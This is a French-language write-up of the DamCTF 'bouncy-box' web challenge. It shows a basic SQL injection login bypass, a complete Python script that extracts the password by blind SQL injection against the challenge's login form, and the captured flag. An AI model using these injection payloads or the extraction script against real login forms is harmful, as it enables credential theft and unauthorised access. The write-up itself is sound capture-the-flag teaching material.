Voici mon writeup pour le premier challenge web du DamCTF
L’url du challenge: https://bouncy-box.chals.damctf.xyz
Premier coup d’oeil
Dès lors, on peut voir un petit jeu et quand on perd on nous propose de nous authentifier.
Il y a beaucoup de moyen de bypass des authentifications mais la plupart du temps ce sont des Injection SQL, donc on peut supposer que c’est un challenge d’injection SQL
Première injection
J’ai essayé d’injecter ' or 1=1 -- -
(la sqli la plus basique) et ça a marché !
On peut voir un bouton pour obtenir le flag mais ce n’est pas si facile
On a une seconde demande de login mais l’injection est impossible, le serveur utilise sûrement des requêtes préparées. Donc comment bypass cette authentification ?
On peut facilement réaliser une SQLi en aveugle sur le premier login pour retrouver le password. Voici mon code:
import requests
import string
chars = string.printable[:94]
result = ""
for i in range(1, 100):
found = False
for char in chars:
data = {'username_input':f"boxy_mcbounce' AND ascii(substring(password, {i}, 1)) = {ord(char)}-- -", "password_input":"random"}
r = requests.post("https://bouncy-box.chals.damctf.xyz/login", data=data)
if "boxy_mcbounce's Stats" in r.text:
result += char
print(f"\r[\x1b[92m+\x1b[0m] Found: {result}", end="")
found = True
break
if not found:
print(f"[\x1b[92m+\x1b[0m] Password found: {result}")
break
On a juste à attendre que le password s’afficher et le rentrer dans le deuxième formulaire de login.
Flag: dam{b0uNCE_B0UNcE_b0uncE_B0uNCY_B0unce_b0Unce_b0Unc3}